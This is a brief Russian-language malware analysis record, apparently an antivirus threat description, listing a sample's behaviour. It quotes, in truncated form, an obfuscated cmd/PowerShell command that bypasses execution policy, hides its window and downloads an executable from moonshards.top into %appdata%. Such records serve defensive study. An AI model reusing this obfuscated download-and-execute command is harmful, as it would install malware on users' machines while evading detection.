Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOwERsh^e^ll.^EX^E^ -eX^EcUTionP^O^L^I^Cy^ b^Ypass -^nOPro^FILe -windO^WStyle H^I^D^DeN ^(^N^e^w-o^bjE^CT sY^steM.^neT.W^eBc^LIE^NT).D^o^W^nLo^a^dFI^le('http://moonshards....
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOwERsh^e^ll.^EX^E^ -eX^EcUTionP^O^L^I^Cy^ b^Ypass -^nOPro^FILe -windO^WStyle H^I^D^DeN ^(^N^e^w-o^bjE^CT sY^steM.^neT.W^eBc^LIE^NT).D^o^W^nLo^a^dFI^le('http://moonshards....' (со скрытым окном)
